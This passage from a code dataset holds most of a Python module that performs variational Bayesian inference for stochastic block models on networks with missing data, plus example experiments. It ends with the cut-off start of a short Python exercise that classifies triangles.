eigen_solver='arpack',\n affinity=\"nearest_neighbors\")\n elif self.algorithm_type == 'Agglomerative':\n # connectivity matrix for structured Ward\n connectivity = kneighbors_graph(\n temp_Y, n_neighbors=10, include_self=False)\n # make connectivity symmetric\n connectivity = 0.5 * (connectivity + connectivity.T)\n clustering = cluster.AgglomerativeClustering(\n linkage=\"average\", affinity=\"cityblock\",\n n_clusters=K, connectivity=connectivity)\n elif self.algorithm_type == 'Birch':\n clustering = cluster.Birch(n_clusters=K)\n elif self.algorithm_type == 'GMM':\n clustering = mixture.GaussianMixture(\n n_components=K, covariance_type='full')\n\n clustering.fit(temp_Y)\n if hasattr(clustering, 'labels_'):\n y_pred = clustering.labels_.astype(np.int)\n else:\n y_pred = clustering.predict(temp_Y)\n p = np.zeros((I, K))\n for i in range(I):\n pseudo_counts = np.ones(self.K) * 0.1\n pseudo_counts[y_pred[i]] = 5\n p[i] = np.random.dirichlet(pseudo_counts)\n np.set_printoptions(precision=3, suppress=True)\n # print('Init p:')\n # print(p)\n\n log_p = np.log(p)\n # TODO analyze initialization strategies\n A = np.random.randint(1, 100, (self.K, self.K))\n B = np.random.randint(1, 100, (self.K, self.K))\n alpha_ = np.random.rand(self.K) * 2\n\n return Y_, A, B, A_zero, B_zero, alpha_, p, log_p\n\n def vb(self, max_iter, eps=1e-24):\n Y_, A, B, A_zero, B_zero, alpha_, p, log_p = self.init_params()\n ii = 0\n ELBOs = []\n while ii < max_iter:\n # Variational E-Step\n # update multinomial block memberships, Z[ik] ~ M(1, p)[ik]\n if ii > 0:\n self.update_multinomial(Y_, A, B, alpha_, log_p)\n p = np.exp(log_p) + eps\n\n # update Y^m[ij \\in D^m] ~ BE(v)[ij] if there exists missing data\n if self.is_missing and self.missing_type == 'NMAR':\n self.update_Y_missing(Y_, A, B, p)\n\n # Variational M-Step\n # update dirichlet block proportions, theta[k] ~ D(alpha_zero)[k]\n # if there exists missing values, only p of observed I is included (MAR only)\n if self.is_missing and self.missing_type == 'MAR':\n node_observed_ind = ~np.all(self.missing_mask, axis=1)\n alpha_ = self.alpha_zero + p[node_observed_ind].sum(0)\n else:\n # No missing + NMAR case\n alpha_ = self.alpha_zero + p.sum(0)\n\n # update beta block matrix, Pi[kl] ~ Beta(A, B)[kl]\n A, B = self.update_beta(Y_, A_zero, B_zero, p, self.K)\n\n # update Y^missing parameters\n if self.is_missing and self.missing_type == 'NMAR':\n # DSS\n if self.sampling_design == 'DSS':\n self.rho[0] = (1 - Y_[self.mask]).sum() / (1 - Y_).sum()\n self.rho[1] = Y_[self.mask].sum() / Y_.sum()\n if self.sampling_design == 'Star':\n node_mask_obs = ~(self.missing_mask.any(axis=0))\n self.rho = p[node_mask_obs].sum(0) / p.sum(0)\n # TODO\n\n # compute elbo\n elbo = self.compute_elbo(Y_, A, A_zero, B, B_zero, alpha_, log_p, p)\n # if ii > 0 and elbo < ELBOs[-1]:\n # print('ELBO is decreasing!')\n ELBOs.append(elbo)\n\n ii += 1\n\n pi = np.random.beta(A, B)\n # TODO\n # self.missing_type = 'MAR'\n # print('ELBO for MAR: ', self.compute_elbo(Y_, A, A_zero, B, B_zero, alpha_, log_p, p))\n return ELBOs, pi, alpha_, log_p, self.rho\n\n def compute_elbo(self, Y_, A, A_zero, B, B_zero, alpha_, log_p, p, eps=1e-24):\n elbo = log_beta_function(alpha_) - log_beta_function(self.alpha_zero)\n # TODO vectorize with masks\n for k in range(self.K):\n for l in range(self.K):\n # necessary for undirected case\n if not self.is_directed:\n if k <= l:\n elbo += log_beta_function([A[k, l], B[k, l]]) - log_beta_function([A_zero[k, l], B_zero[k, l]])\n else:\n elbo += log_beta_function([A[k, l], B[k, l]]) - log_beta_function([A_zero[k, l], B_zero[k, l]])\n if self.is_missing and self.missing_type == 'MAR':\n node_observed_ind = ~np.all(self.missing_mask, axis=1)\n observed_p = p[node_observed_ind]\n elbo -= np.sum(observed_p * np.log(observed_p))\n else:\n elbo -= np.sum(p * log_p)\n\n # NMAR case adds extra elements\n if self.is_missing and self.missing_type == 'NMAR':\n I = Y_.shape[0]\n # mask_offdiag_I = ~np.eye(I, dtype=bool)\n miss_mask = np.array(self.missing_mask)\n obs_mask = np.array(self.mask)\n for i in range(I):\n miss_mask[i, :(i+1)] = False\n obs_mask[i, :(i+1)] = False\n # double standard sampling\n elbo -= np.sum(Y_[miss_mask] * np.log(Y_[miss_mask] + eps)) \\\n + np.sum((1 - Y_[miss_mask]) * np.log(1 - Y_[miss_mask] + eps))\n if self.sampling_design == 'DSS':\n elbo += np.sum(Y_[obs_mask]) * np.log(self.rho[1] + eps) \\\n + np.sum(1 - Y_[obs_mask]) * np.log(self.rho[0] + eps)\n elbo += np.sum(Y_[miss_mask]) * np.log(1 - self.rho[1] + eps) \\\n + np.sum(1 - Y_[miss_mask]) * np.log(1 - self.rho[0] + eps)\n elif self.sampling_design == 'Class':\n node_mask_miss = (self.missing_mask.any(axis=0))\n elbo += np.einsum('ik,k->', p[~node_mask_miss], np.log(self.rho)) \\\n + np.einsum('ik,k->', p[node_mask_miss], np.log(1 - self.rho))\n return elbo\n\n def update_multinomial(self, Y_, A, B, alpha_, log_p):\n I = Y_.shape[0]\n temp_Y = np.array(Y_)\n # if there exists missing values, only observed I is included (MAR only)\n # No missing and NMAR use whole Y array\n if self.is_missing and self.missing_type == 'NMAR' and self.sampling_design == 'Class':\n node_mask = np.array(~self.missing_mask.any(axis=0), dtype=float)\n if self.is_missing and self.missing_type == 'MAR':\n temp_Y[self.missing_mask] = 0\n for i in range(I):\n temp_p = np.exp(log_p)\n # cancel out i=j (no self loops)\n temp_p[i, :] = 0\n log_p_vec = np.einsum('jl,kl->k', temp_p, digamma(B) - digamma(A + B))\n log_p_vec += np.einsum('jl,j,kl->k', temp_p, temp_Y[i, :], digamma(A) - digamma(B))\n log_p_vec += log_dirichlet_expectation(alpha_)\n if self.is_missing and self.missing_type == 'NMAR' and self.sampling_design == 'Class':\n log_p_vec += node_mask[i] * self.rho + (1 - node_mask[i]) * (1 - self.rho)\n log_p[i] = log_p_vec - logsumexp(log_p_vec)\n # return temp_log_p\n\n def update_beta(self, Y_, A_, B_, p, K):\n A_update = np.array(A_)\n B_update = np.array(B_)\n I = Y_.shape[0]\n\n mask_diag_K = np.eye(K, dtype=bool)\n mask_diag_I = np.eye(I, dtype=bool)\n mask_offdiag_K = ~mask_diag_K\n\n temp_Y = np.array(Y_)\n # if there exists missing values, only observed I is included (MAR only)\n # No missing and NMAR use whole Y array\n if self.is_missing and self.missing_type == 'MAR':\n temp_Y[self.missing_mask] = 0\n # cancel out i = j\n temp_Y[mask_diag_I] = 0\n\n update_eq_A = np.einsum('ij,iq,jl->ql', temp_Y, p, p)\n if not self.is_directed:\n A_update[mask_offdiag_K] += update_eq_A[mask_offdiag_K]\n for i in range(I):\n temp_Y[i, :i] = 0\n A_update[mask_diag_K] += np.einsum('ij,iq,jl->ql', temp_Y, p, p)[mask_diag_K]\n else:\n A_update += update_eq_A\n\n temp_Y = np.array(Y_)\n # if there exists missing values, only observed I is included (MAR only)\n # No missing and NMAR use whole Y array\n if self.is_missing and self.missing_type == 'MAR':\n temp_Y[self.missing_mask] = 1\n\n temp_Y[mask_diag_I] = 1\n update_eq_B = np.einsum('ij,iq,jl->ql', (1 - temp_Y), p, p)\n if not self.is_directed:\n B_update[mask_offdiag_K] += update_eq_B[mask_offdiag_K]\n for i in range(I):\n temp_Y[i, :i] = 1\n B_update[mask_diag_K] += np.einsum('ij,iq,jl->ql', (1 - temp_Y), p, p)[mask_diag_K]\n else:\n B_update += update_eq_B\n\n return A_update, B_update\n\n def update_Y_missing(self, Y_, A, B, p, eps=1e-24):\n # canonical parameter\n n = np.zeros_like(Y_)\n # double standard sampling (dyad centered) adds log odd ratio of sampling parameters (rho)\n if self.sampling_design == 'DSS':\n log_odds_rho = np.log(1 - self.rho[1] + eps) - np.log(1 - self.rho[0] + eps)\n n += log_odds_rho\n\n # Class Sampling (node centered)\n E_log_odds_pi = digamma(A) - digamma(B)\n n += p.dot(E_log_odds_pi).dot(p.T)\n # link function, sigmoid\n Y_[self.missing_mask] = expit(n)[self.missing_mask]\n if not self.is_directed and not np.allclose(Y_, Y_.T):\n print('Something wrong!')\n # for i in range(Y_.shape[0]):\n # Y_[:, i] = Y_[i, :]\n\n# Toy Example\ndef example_1():\n runs = 20\n I = 15\n K = 3\n Y = np.zeros((I, I))\n idx = int(I / K)\n Y[0:idx, 0:idx] = 1\n Y[idx:(K - 1) * idx, idx:(K - 1) * idx] = 1\n Y[(K - 1) * idx:, (K - 1) * idx:] = 1\n for i in range(I):\n Y[i, i] = 0\n import matplotlib.pyplot as plt\n plt.imshow(Y, cmap='Greys')\n plt.show()\n alpha = np.array([0.1] * K)\n edges = np.sum(Y)\n mis_edges = I * I - edges - I\n a = edges / (edges + mis_edges) * 0.2\n b = mis_edges / (edges + mis_edges) * 0.2\n print(a, b)\n max_elbo = -np.inf\n ELBOs_ = []\n pi_ = []\n theta_ = []\n p_ = []\n for r in range(runs):\n sbm = SBM_vb(Y, K, alpha, a, b)\n ELBOs, pi, theta, p = sbm.vb(100)\n if max(ELBOs) > max_elbo:\n max_elbo = max(ELBOs)\n ELBOs_ = ELBOs\n pi_ = pi\n theta_ = theta\n p_ = p\n np.set_printoptions(precision=3, suppress=True)\n print('Pi:')\n print(pi_)\n print('Theta:')\n print(theta_)\n print('p_Z:')\n print(p_)\n print('Max ELBO:')\n print(max_elbo)\n plt.plot(ELBOs_)\n plt.show()\n\n\ndef example_2():\n type_ = 'Sampson'\n if type_ == 'LesMis':\n Y = load_les_mis()\n Y[Y > 1] = 1\n elif type_ == 'Zachary':\n Y = load_zachary()\n Y[0, -1] = 1\n elif type_ == 'Sampson':\n names, factions, Y = load_sampson()\n elif type_ == 'AdjNoun':\n Y = load_adjnoun()\n elif type_ == 'Dolphins':\n Y = load_dolphins()\n elif type_ == 'Synth':\n I = 10\n K = 2\n Y = np.zeros((I, I))\n # assortative blocks\n for k in range(K):\n cnt = int(I / K)\n Y[k*cnt:(k+1)*cnt, k*cnt:(k+1)*cnt] = 1\n # no self loops\n for i in range(I):\n Y[i, i] = 0\n # change Y[0, 1] to 0\n Y[0, :] = None\n Y[:, 0] = None\n\n import matplotlib.pyplot as plt\n I = Y.shape[0]\n plt.imshow(Y, cmap='Greys')\n plt.show()\n\n mask_diag = np.eye(I, dtype=bool)\n mask_offdiag_I = ~mask_diag\n zeros_mask = (Y == 0) & mask_offdiag_I\n neg_weights = Y.sum(1)\n neg_weights = np.tile(neg_weights[:, None], (1, I))\n dest_weights = Y.sum(0)\n neg_weights *= dest_weights\n\n neg_weights = neg_weights[zeros_mask]\n source_probs = neg_weights / neg_weights.sum()\n\n p_z = 0.5\n raveled_indices = np.tile(np.arange(I), (I, 1))\n consts = np.array([x * I for x in range(I)])\n raveled_indices += consts[:, None]\n temp_neg_counts = multinomial_mode(int(np.sum(zeros_mask) * p_z), source_probs, cap=1)\n unraveled_neg = np.unravel_index(raveled_indices[zeros_mask], (I, I))\n # for i, count in enumerate(temp_neg_counts):\n # if count > 0:\n # Y[unraveled_neg[0][i], unraveled_neg[1][i]] = 0\n # else:\n # Y[unraveled_neg[0][i], unraveled_neg[1][i]] = None\n # for i in range(I):\n # Y[:, i] = Y[i, :]\n # Y[mask_diag] = None\n\n a = b = 1\n alpha_param = 1\n K_array = [1, 2, 3, 4, 5]\n ELBOs_per_k = []\n Ps_per_k = []\n p_zero_ = []\n runs_ = 21\n\n for k in K_array:\n max_elbo = -np.inf\n ELBOs_ = []\n pi_ = []\n p_ = []\n alpha_zero = np.array([alpha_param] * k)\n runs = runs_ if k > 1 else 1\n max_elbo_array = []\n missing_type_ = 'MAR'\n max_iter = 100 if k > 1 else 5\n\n rho = None\n # if k > 1:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Kmeans',\n # missing_type=missing_type_)\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(3)\n # print(rho)\n\n for r in range(runs):\n if r < 14:\n if r % 7 == 0:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Spectral',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Input', p_input=p, missing_type=missing_type_)\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n elif r % 7 == 1:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Kmeans',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n elif r % 7 == 2:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Ward',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n elif r % 7 == 3:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Spectral-2',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n elif r % 7 == 4:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Agglomerative',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n elif r % 7 == 5:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Birch',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n else:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='GMM',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n else:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Random')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n\n # if r % 7 == 2:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='MeanShift',\n # missing_type=missing_type_)\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(100)\n # else:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Random', missing_type='NMAR')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(200)\n # else:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Random')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(100)\n if max_elbo < ELBOs[-1] < 0:\n max_elbo = ELBOs[-1]\n ELBOs_ = ELBOs\n alpha_ = alpha_est\n log_p_ = log_p\n p_ = np.exp(log_p)\n pi_ = pi\n max_elbo_array.append(ELBOs[-1])\n # plt.plot(ELBOs)\n # plt.show()\n est_labels = np.argmax(np.exp(log_p), axis=1)\n print('At K: ', str(k), ' At Run ', str(r), ', ELBO: ', ELBOs[-1], ' # est labels: ', len(np.unique(est_labels)))\n\n # ari = adjusted_rand_score(true_labels, est_labels)\n # total_ari += ari\n np.set_printoptions(precision=3, suppress=True)\n print('For MAR, At K: ', str(k), ', ELBO: ', max_elbo,\n ', Perplexity All Points: ',\n np.exp(-max_elbo / np.sum(~np.isnan(Y))), ', Perplexity Ones: ',\n np.exp(-max_elbo / np.sum(Y == 1)))\n print('For MAR, Pi:')\n print(pi_)\n ELBOs_per_k.append(max_elbo)\n\n Ps_per_k.append(p_)\n\n k_ind = np.argmax(ELBOs_per_k)\n k_max = K_array[k_ind]\n\n plt.figure(figsize=(6, 4))\n plt.plot(K_array, ELBOs_per_k, '-v')\n plt.plot(k_max, ELBOs_per_k[k_ind], 'rv')\n plt.show()\n\n plt.figure(figsize=(12, 3))\n plt.imshow(np.array(Ps_per_k[k_ind]).T, cmap='YlGnBu')\n plt.show()\n\n fig2, (ax1, ax2) = plt.subplots(2, 1, figsize=(8, 15))\n plot_adj_nw_permuted(Y, np.array(Ps_per_k[k_ind]).T, (ax1, ax2), k_max)\n plt.show()\n\n\ndef example_3():\n import matplotlib.pyplot as plt\n\n num_sim = 1\n total_ari = 0\n est_K_NMAR = []\n est_K_MAR = []\n\n for simulation_number in range(num_sim):\n I = 40\n K = 3\n n = 0.95\n pi = np.ones((K, K))\n mask_diag = np.eye(K, dtype=bool)\n pi[mask_diag] = n\n pi[~mask_diag] = 1-n\n alpha = np.array([1/K] * K)\n # connectivity\n c = alpha.dot(pi).dot(alpha[:, np.newaxis])\n print(c)\n\n Y, Z = generate_sbm_graph(I, alpha, pi, type_='Directed')\n # plt.imshow(Y, cmap='Greys')\n # plt.show()\n plot_adj_permuted(Y, Z)\n\n # No self loops\n mask_diag_I = np.eye(I, dtype=bool)\n Y[mask_diag_I] = None\n ones_before = np.sum(Y == 1)\n zeros_before = np.sum(Y == 0)\n rho_0 = 0.9\n rho_1 = 0.8\n Y = double_standard_sampler(Y, rho_0, rho_1)\n ones_after = np.sum(Y == 1)\n zeros_after = np.sum(Y == 0)\n print('Ones ratio: ', ones_after / ones_before)\n print('Zeros ratio: ', zeros_after / zeros_before)\n print('Sampling rate: ', np.sum(~np.isnan(Y)) / (I * (I - 1)))\n\n # MAR setting\n # TODO fix mask\n # e = 0.25\n # missing_mask = np.array(np.random.binomial(1, e, (I, I)), dtype=bool)\n # for i in range(I):\n # missing_mask[:, i] = missing_mask[i]\n # Y[missing_mask] = None\n\n true_labels = np.argmax(Z, axis=1)\n\n memb = np.argmax(Z, axis=1)\n p_input = np.zeros_like(Z, dtype=float)\n for i in range(I):\n pseudo_counts = np.ones(K)\n pseudo_counts[memb[i]] = 5\n p_input[i] = np.random.dirichlet(pseudo_counts)\n\n # plt.imshow(p_input.T, cmap='YlGnBu')\n # plt.show()\n # np.set_printoptions(precision=3, suppress=True)\n # print('P input')\n # print(p_input)\n # print('Y missing')\n # print(Y)\n # plot_adj_permuted(Y, Z)\n # fig2, (ax1, ax2) = plt.subplots(2, 1, figsize=(8, 15))\n # plot_adj_nw_permuted(Y, Z.T, (ax1, ax2), K)\n # plt.show()\n\n a = b = 1\n alpha_param = 1\n # K_array = np.arange(4) + 1\n K_array = [1, 2, 3]\n ELBOs_per_k = []\n Ps_per_k = []\n\n import time\n start = time.time()\n\n for k in K_array:\n max_elbo = -np.inf\n ELBOs_ = []\n pi_ = []\n p_ = []\n alpha_zero = np.array([alpha_param] * k)\n runs_ = 7\n runs = runs_ if k > 1 else 1\n max_elbo_array = []\n missing_type_ = 'MAR'\n rho = None\n # if k > 1:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Kmeans',\n # missing_type=missing_type_)\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(20)\n # print(rho)\n\n for r in range(runs):\n max_iter = 200 if k > 1 else 2\n if r % 7 == 0:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Spectral',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n if r % 7 == 1:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Kmeans',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n if r % 7 == 2:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Ward',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n if r % 7 == 3:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Spectral-2',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n if r % 7 == 4:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Agglomerative',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n if r % 7 == 5:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Birch',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n if r % 7 == 6:\n sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='GMM',\n missing_type=missing_type_, rho=rho)\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n ELBOs, pi, alpha_est, log_p, rho = sbm.vb(max_iter)\n # if r % 7 == 7:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='MeanShift',\n # missing_type=missing_type_, rho=rho)\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(100)\n \n # else:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Random', missing_type='NMAR')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(200)\n # else:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Random')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(100)\n if ELBOs[-1] > max_elbo:\n max_elbo = ELBOs[-1]\n ELBOs_ = ELBOs\n alpha_ = alpha_est\n log_p_ = log_p\n p_ = np.exp(log_p)\n pi_ = pi\n max_elbo_array.append(ELBOs[-1])\n # plt.plot(ELBOs)\n # plt.show()\n est_labels = np.argmax(np.exp(log_p), axis=1)\n print('At K: ', str(k), ' At Run ', str(r), ', ELBO: ', ELBOs[-1],\n ' ARI: ', adjusted_rand_score(true_labels, est_labels))\n\n est_labels = np.argmax(p_, axis=1)\n ari = adjusted_rand_score(true_labels, est_labels)\n total_ari += ari\n np.set_printoptions(precision=3, suppress=True)\n print('For NMAR, At K: ', str(k), ' At Simulation ', str(simulation_number), ', ELBO: ', max_elbo, ', Perplexity All Points: ',\n np.exp(-max_elbo / np.sum(~np.isnan(Y))), ', Perplexity Ones: ',\n np.exp(-max_elbo / np.sum(Y == 1)), ' ARI average: ', total_ari / runs)\n print('For NMAR, Pi:')\n print(pi_)\n print('For NMAR, Rho: ', rho)\n ELBOs_per_k.append(max_elbo)\n\n Ps_per_k.append(p_)\n # print('ARI:')\n # est_labels = np.argmax(p_, axis=1)\n # print(adjusted_rand_score(true_labels, est_labels))\n\n k_ind = np.argmax(ELBOs_per_k)\n k_max = K_array[k_ind]\n\n plt.figure(figsize=(6, 4))\n plt.plot(K_array, ELBOs_per_k, '-v')\n plt.plot(k_max, ELBOs_per_k[k_ind], 'rv')\n est_K_NMAR.append(k_max)\n plt.show()\n\n fig2, (ax1, ax2) = plt.subplots(2, 1, figsize=(8, 15))\n plot_adj_nw_permuted(Y, np.array(Ps_per_k[k_ind]).T, (ax1, ax2), k_max)\n plt.show()\n\n # print('MAR INFERENCE')\n # print('MAR INFERENCE')\n # print('MAR INFERENCE')\n # print('MAR INFERENCE')\n # Y[np.isnan(Y)] = 0\n a = b = 1\n alpha_param = 1\n # K_array = np.arange(4) + 1\n K_array = [1, 2, 3, 4]\n ELBOs_per_k = []\n Ps_per_k = []\n\n\n # for k in K_array:\n # max_elbo = -np.inf\n # ELBOs_ = []\n # pi_ = []\n # p_ = []\n # alpha_zero = np.array([alpha_param] * k)\n # runs = runs_ if k > 1 else 1\n # max_elbo_array = []\n # missing_type_ = 'MAR'\n # runs_ = 7\n # for r in range(runs):\n # if r % 7 == 0:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Spectral',\n # missing_type=missing_type_)\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(100)\n # if r % 7 == 1:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Kmeans',\n # missing_type=missing_type_)\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(100)\n # if r % 7 == 2:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Ward',\n # missing_type=missing_type_)\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(100)\n # if r % 7 == 3:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Spectral-2',\n # missing_type=missing_type_)\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(100)\n # if r % 7 == 4:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Agglomerative',\n # missing_type=missing_type_)\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(100)\n # if r % 7 == 5:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='Birch',\n # missing_type=missing_type_)\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(100)\n # if r % 7 == 6:\n # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='GMM',\n # missing_type=missing_type_)\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(100)\n #\n # # if r % 7 == 2:\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Clustering', algorithm_type='MeanShift',\n # # missing_type=missing_type_)\n # # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Spectral')\n # # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(100)\n # # else:\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Random', missing_type='NMAR')\n # # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(200)\n # # else:\n # # sbm = SBM_vb(Y, k, alpha_zero, a, b, init_type='Random')\n # # ELBOs, pi, alpha_est, log_p, rho = sbm.vb(100)\n # if ELBOs[-1] > max_elbo:\n # max_elbo = ELBOs[-1]\n # ELBOs_ = ELBOs\n # alpha_ = alpha_est\n # log_p_ = log_p\n # p_ = np.exp(log_p)\n # pi_ = pi\n # max_elbo_array.append(ELBOs[-1])\n # # plt.plot(ELBOs)\n # # plt.show()\n # est_labels = np.argmax(np.exp(log_p), axis=1)\n # print('At K: ', str(k), ' At Run ', str(r), ', ELBO: ', ELBOs[-1],\n # ' ARI: ', adjusted_rand_score(true_labels, est_labels))\n #\n # est_labels = np.argmax(p_, axis=1)\n # ari = adjusted_rand_score(true_labels, est_labels)\n # total_ari += ari\n # np.set_printoptions(precision=3, suppress=True)\n # print('For MAR, At K: ', str(k), ' At Simulation ', str(simulation_number), ', ELBO: ', max_elbo,\n # ', Perplexity All Points: ',\n # np.exp(-max_elbo / np.sum(~np.isnan(Y))), ', Perplexity Ones: ',\n # np.exp(-max_elbo / np.sum(Y == 1)), ' ARI average: ', total_ari / runs)\n # print('For MAR, Pi:')\n # print(pi_)\n # ELBOs_per_k.append(max_elbo)\n #\n # Ps_per_k.append(p_)\n #\n # k_ind = np.argmax(ELBOs_per_k)\n # k_max = K_array[k_ind]\n # est_K_MAR.append(k_max)\n #\n # plt.figure(figsize=(6, 4))\n # plt.plot(K_array, ELBOs_per_k, '-v')\n # plt.plot(k_max, ELBOs_per_k[k_ind], 'rv')\n # plt.show()\n\n # plt.figure(figsize=(12, 3))\n # plt.imshow(np.array(Ps_per_k[k_ind]).T, cmap='YlGnBu')\n # plt.show()\n\n # plt.hist(est_K_MAR)\n # plt.title('MAR INFERENCE K HIST')\n # plt.show()\n # plt.hist(est_K_NMAR)\n # plt.title('NMAR INFERENCE K HIST')\n # plt.show()\n\n end = time.time()\n print('Ellapsed time:', end-start)\n\n\nif __name__ == '__main__':\n example_3()\n","sub_path":"src/model/graph/sbm_vb.py","file_name":"sbm_vb.py","file_ext":"py","file_size_in_byte":36983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"362245326","text":"entrada = input().split()\n\nconverter = [float(numero) for numero in entrada]\n\nVariavel = sorted(converter, reverse = True)\n\nA, B, C = Variavel\n\nif(A >= B + C):\n print(\"NAO FORMA TRIANGULO\")\nelse:\n if(A**2 == B**2 + C**2):\n print(\"TRIANGULO RETANGULO\")\n if(A**2 > B**2 + 